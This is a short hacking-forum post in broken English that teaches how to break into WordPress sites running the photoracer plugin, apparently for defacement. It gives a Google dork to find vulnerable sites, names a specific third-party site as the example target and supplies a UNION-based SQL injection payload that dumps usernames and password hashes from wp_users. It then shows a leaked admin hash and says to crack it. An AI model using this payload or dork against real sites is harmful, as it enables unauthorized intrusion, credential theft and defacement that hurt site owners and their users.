Deface || Exploit for Wordpress

This Treadh i will give you HOW TO EXPLOIT WORDPRESS And Get Username And Password,
as always wi will find the target in google.

• This The Dork : ( Copy in Google )

allinurl:"wp-content/plugins/photoracer/viewimg.php?id=" 

•  And Choose The Target, For Example :

http://tappisiena.altervista.org/wp-content/plugins/photoracer/viewimg.php?id=1

• And Then  Add The Code At The End :

+union+select+1,2,3,4,5,concat(0x3a,user_login,0x3a,user_pass),7,8,9+from+wp_users-- 

• For Example :

http://tappisiena.altervista.org/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+1,2,3,4,5,concat(0x3a,user_login,0x3a,user_pass),7,8,9+from+wp_users--

Kemudian Go :

And Then You Will Get Username, admin:$P$9qHFdExdNwlJw8WgLRM6OhOWl/YEWb
after that you must crack this code in here

Good Luck ! :D
Thank's You


Thank's To :
- Root-Cyber

Posted in: Cracking Dan Hacking,Deface